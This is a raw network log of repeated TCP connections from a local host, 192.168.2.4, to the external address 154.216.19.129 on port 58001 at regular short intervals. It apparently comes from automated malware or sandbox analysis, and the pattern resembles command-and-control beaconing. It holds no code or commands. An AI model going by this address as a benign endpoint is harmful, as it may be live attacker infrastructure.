Nov 21, 2024 02:59:16.261909008 CET	49793	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:16.263026953 CET	49793	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:16.382477045 CET	58001	49793	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:16.382541895 CET	49793	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:16.501977921 CET	58001	49793	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:17.665210009 CET	58001	49793	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:17.665420055 CET	49793	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:17.669367075 CET	49793	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:17.767379045 CET	49798	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:17.788872004 CET	58001	49793	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:17.887001038 CET	58001	49798	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:17.887501955 CET	49798	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:17.887890100 CET	49798	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:18.007376909 CET	58001	49798	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:18.007541895 CET	49798	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:18.127453089 CET	58001	49798	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:19.244167089 CET	58001	49798	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:19.244263887 CET	49798	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:19.244415998 CET	49798	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:19.361417055 CET	49804	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:19.363852978 CET	58001	49798	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:19.481107950 CET	58001	49804	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:19.481208086 CET	49804	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:19.482122898 CET	49804	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:19.601551056 CET	58001	49804	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:19.601625919 CET	49804	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:19.721122026 CET	58001	49804	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:20.889522076 CET	58001	49804	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:20.889653921 CET	49804	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:20.889786005 CET	49804	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:21.001813889 CET	49809	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:21.009186029 CET	58001	49804	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:21.121326923 CET	58001	49809	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:21.121424913 CET	49809	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:21.122379065 CET	49809	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:21.241770029 CET	58001	49809	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:21.241827965 CET	49809	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:21.361252069 CET	58001	49809	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:22.439981937 CET	58001	49809	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:22.440067053 CET	49809	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:22.440200090 CET	49809	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:22.548650026 CET	49811	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:22.559592009 CET	58001	49809	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:22.668086052 CET	58001	49811	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:22.668252945 CET	49811	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:22.669125080 CET	49811	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:22.788516998 CET	58001	49811	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:22.788578033 CET	49811	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:22.907977104 CET	58001	49811	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:23.979026079 CET	58001	49811	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:23.979101896 CET	49811	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:23.979355097 CET	49811	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:24.095561028 CET	49817	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:24.098835945 CET	58001	49811	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:24.215121984 CET	58001	49817	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:24.215255976 CET	49817	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:24.215960979 CET	49817	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:24.335370064 CET	58001	49817	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:24.335436106 CET	49817	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:24.454961061 CET	58001	49817	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:25.745150089 CET	58001	49817	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:25.745300055 CET	49817	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:25.745345116 CET	49817	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:25.861375093 CET	49823	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:25.864826918 CET	58001	49817	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:25.980906010 CET	58001	49823	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:25.981035948 CET	49823	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:25.981766939 CET	49823	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:26.101229906 CET	58001	49823	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:26.101309061 CET	49823	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:26.220792055 CET	58001	49823	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:27.338984966 CET	58001	49823	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:27.339082956 CET	49823	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:27.339242935 CET	49823	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:27.455010891 CET	49826	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:27.460058928 CET	58001	49823	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:27.574489117 CET	58001	49826	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:27.574620008 CET	49826	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:27.575249910 CET	49826	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:27.694674969 CET	58001	49826	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:27.694753885 CET	49826	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:27.814186096 CET	58001	49826	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:28.978099108 CET	58001	49826	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:28.980168104 CET	49826	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:28.980413914 CET	49826	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:29.095599890 CET	49830	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:29.099834919 CET	58001	49826	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:29.215006113 CET	58001	49830	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:29.215127945 CET	49830	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:29.215878010 CET	49830	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:29.335304022 CET	58001	49830	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:29.335438967 CET	49830	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:29.454860926 CET	58001	49830	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:30.619853973 CET	58001	49830	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:30.619946957 CET	49830	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:30.620104074 CET	49830	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:30.736309052 CET	49836	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:30.739492893 CET	58001	49830	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:30.855806112 CET	58001	49836	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:30.856085062 CET	49836	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:30.856590033 CET	49836	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:30.976015091 CET	58001	49836	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:30.976108074 CET	49836	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:31.095613003 CET	58001	49836	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:32.212747097 CET	58001	49836	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:32.212858915 CET	49836	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:32.213051081 CET	49836	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:32.329895020 CET	49842	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:32.332504988 CET	58001	49836	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:32.449389935 CET	58001	49842	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:32.449520111 CET	49842	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:32.450386047 CET	49842	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:32.569818020 CET	58001	49842	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:32.569936037 CET	49842	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:32.689908028 CET	58001	49842	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:33.849682093 CET	58001	49842	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:33.849746943 CET	49842	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:33.849968910 CET	49842	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:33.955388069 CET	49843	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:34.089601994 CET	58001	49842	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:34.089857101 CET	58001	49843	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:34.089955091 CET	49843	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:34.090742111 CET	49843	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:34.210630894 CET	58001	49843	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:34.210763931 CET	49843	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:34.330172062 CET	58001	49843	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:35.494399071 CET	58001	49843	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:35.494498968 CET	49843	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:35.494668961 CET	49843	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:35.611222029 CET	49849	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:35.614043951 CET	58001	49843	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:35.730683088 CET	58001	49849	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:35.730813026 CET	49849	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:35.731532097 CET	49849	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:35.850950956 CET	58001	49849	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:35.851130009 CET	49849	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:35.970633984 CET	58001	49849	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:37.088238955 CET	58001	49849	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:37.088440895 CET	49849	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:37.088499069 CET	49849	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:37.206465006 CET	49855	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:37.208030939 CET	58001	49849	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:37.325942039 CET	58001	49855	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:37.326025963 CET	49855	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:37.326886892 CET	49855	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:37.446332932 CET	58001	49855	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:37.446552992 CET	49855	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:37.565999985 CET	58001	49855	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:38.685887098 CET	58001	49855	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:38.686008930 CET	49855	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:38.686225891 CET	49855	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:38.798738956 CET	49859	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:38.805665970 CET	58001	49855	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:38.918230057 CET	58001	49859	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:38.918421984 CET	49859	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:38.919071913 CET	49859	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:39.038485050 CET	58001	49859	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:39.038606882 CET	49859	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:39.158384085 CET	58001	49859	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:40.235064983 CET	58001	49859	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:40.235147953 CET	49859	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:40.235270023 CET	49859	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:40.345487118 CET	49862	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:40.354691982 CET	58001	49859	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:40.464978933 CET	58001	49862	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:40.465094090 CET	49862	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:40.465898991 CET	49862	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:40.585295916 CET	58001	49862	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:40.585444927 CET	49862	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:40.704895973 CET	58001	49862	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:41.826867104 CET	58001	49862	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:41.827034950 CET	49862	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:41.827197075 CET	49862	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:41.939286947 CET	49868	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:41.946723938 CET	58001	49862	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:42.058758974 CET	58001	49868	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:42.058964968 CET	49868	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:42.059632063 CET	49868	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:42.185075045 CET	58001	49868	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:42.185189962 CET	49868	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:42.394604921 CET	58001	49868	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:43.466793060 CET	58001	49868	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:43.466943979 CET	49868	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:43.467113018 CET	49868	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:43.579978943 CET	49874	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:43.586499929 CET	58001	49868	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:43.700248003 CET	58001	49874	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:43.700356007 CET	49874	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:43.701037884 CET	49874	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:43.820483923 CET	58001	49874	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:43.820626974 CET	49874	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:43.940226078 CET	58001	49874	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:45.055550098 CET	58001	49874	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:45.055612087 CET	49874	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:45.056160927 CET	49874	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:45.173724890 CET	49875	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:45.175605059 CET	58001	49874	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:45.293201923 CET	58001	49875	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:45.293332100 CET	49875	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:45.294200897 CET	49875	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:45.413615942 CET	58001	49875	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:45.413686991 CET	49875	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:45.533174992 CET	58001	49875	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:46.618340015 CET	58001	49875	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:46.618458986 CET	49875	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:46.618634939 CET	49875	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:46.720597982 CET	49881	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:46.738121033 CET	58001	49875	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:46.840138912 CET	58001	49881	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:46.840236902 CET	49881	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:46.841063023 CET	49881	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:46.960500002 CET	58001	49881	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:46.960606098 CET	49881	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:47.080087900 CET	58001	49881	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:48.198160887 CET	58001	49881	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:48.198390961 CET	49881	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:48.198558092 CET	49881	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:48.314405918 CET	49887	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:48.317984104 CET	58001	49881	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:48.434326887 CET	58001	49887	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:48.434417009 CET	49887	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:48.435348034 CET	49887	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:48.554855108 CET	58001	49887	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:48.554959059 CET	49887	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:48.674498081 CET	58001	49887	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:49.744313955 CET	58001	49887	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:49.744400024 CET	49887	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:49.744569063 CET	49887	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:49.861243010 CET	49889	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:49.863950968 CET	58001	49887	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:49.980735064 CET	58001	49889	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:49.980829954 CET	49889	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:49.981554985 CET	49889	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:50.100989103 CET	58001	49889	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:50.101062059 CET	49889	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:50.220576048 CET	58001	49889	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:51.343379974 CET	58001	49889	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:51.343470097 CET	49889	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:51.343687057 CET	49889	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:51.455332994 CET	49894	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:51.463088989 CET	58001	49889	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:51.574932098 CET	58001	49894	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:51.575057030 CET	49894	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:51.575891972 CET	49894	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:51.695395947 CET	58001	49894	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:51.695465088 CET	49894	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:51.814968109 CET	58001	49894	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:52.885250092 CET	58001	49894	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:52.885315895 CET	49894	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:52.885459900 CET	49894	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:53.001914024 CET	49900	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:53.004895926 CET	58001	49894	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:53.121395111 CET	58001	49900	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:53.121509075 CET	49900	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:53.122311115 CET	49900	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:53.241751909 CET	58001	49900	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:53.241832972 CET	49900	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:53.361274004 CET	58001	49900	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:54.442740917 CET	58001	49900	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:54.442799091 CET	49900	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:54.442960024 CET	49900	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:54.548707008 CET	49904	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:54.562376022 CET	58001	49900	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:54.668216944 CET	58001	49904	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:54.668317080 CET	49904	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:54.669055939 CET	49904	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:54.788511992 CET	58001	49904	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:54.788599014 CET	49904	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:54.908061028 CET	58001	49904	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:55.980904102 CET	58001	49904	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:55.981020927 CET	49904	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:55.981142044 CET	49904	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:56.095489979 CET	49907	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:56.100819111 CET	58001	49904	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:56.214972019 CET	58001	49907	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:56.215167046 CET	49907	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:56.215698004 CET	49907	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:56.335627079 CET	58001	49907	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:56.335695028 CET	49907	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:56.455208063 CET	58001	49907	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:57.529932022 CET	58001	49907	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:57.530035973 CET	49907	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:57.530200958 CET	49907	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:57.642497063 CET	49913	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:57.649703979 CET	58001	49907	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:57.762204885 CET	58001	49913	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:57.765491009 CET	49913	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:57.766113043 CET	49913	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:57.885528088 CET	58001	49913	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:57.885725975 CET	49913	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:58.005239964 CET	58001	49913	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:59.170463085 CET	58001	49913	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:59.173572063 CET	49913	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:59.173667908 CET	49913	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:59.283030033 CET	49919	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:59.293107986 CET	58001	49913	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:59.402462006 CET	58001	49919	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:59.402559042 CET	49919	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:59.403177023 CET	49919	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:59.522650003 CET	58001	49919	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:59.522716999 CET	49919	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:59.642427921 CET	58001	49919	154.216.19.129	192.168.2.4
Nov 21, 2024 03:00:00.767720938 CET	58001	49919	154.216.19.129	192.168.2.4
Nov 21, 2024 03:00:00.767832994 CET	49919	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:00.767951012 CET	49919	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:00.876796007 CET	49920	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:00.887459040 CET	58001	49919	154.216.19.129	192.168.2.4
Nov 21, 2024 03:00:00.996475935 CET	58001	49920	154.216.19.129	192.168.2.4
Nov 21, 2024 03:00:00.996556044 CET	49920	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:00.997181892 CET	49920	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:01.116682053 CET	58001	49920	154.216.19.129	192.168.2.4
Nov 21, 2024 03:00:01.116785049 CET	49920	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:01.236224890 CET	58001	49920	154.216.19.129	192.168.2.4
Nov 21, 2024 03:00:02.398812056 CET	58001	49920	154.216.19.129	192.168.2.4
Nov 21, 2024 03:00:02.398895025 CET	49920	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:02.399024963 CET	49920	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:02.501902103 CET	49926	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:02.518434048 CET	58001	49920	154.216.19.129	192.168.2.4
Nov 21, 2024 03:00:02.621438980 CET	58001	49926	154.216.19.129	192.168.2.4
Nov 21, 2024 03:00:02.621639013 CET	49926	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:02.622119904 CET	49926	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:02.742798090 CET	58001	49926	154.216.19.129	192.168.2.4
Nov 21, 2024 03:00:02.742906094 CET	49926	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:02.864130020 CET	58001	49926	154.216.19.129	192.168.2.4
Nov 21, 2024 03:00:04.030106068 CET	58001	49926	154.216.19.129	192.168.2.4
Nov 21, 2024 03:00:04.030181885 CET	49926	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:04.030307055 CET	49926	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:04.142430067 CET	49932	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:04.149787903 CET	58001	49926	154.216.19.129	192.168.2.4
Nov 21, 2024 03:00:04.262377977 CET	58001	49932	154.216.19.129	192.168.2.4
Nov 21, 2024 03:00:04.265563011 CET	49932	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:04.266258955 CET	49932	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 03:00:04.385736942 CET	58001	49932	154.216.19.129	192.168.2.4
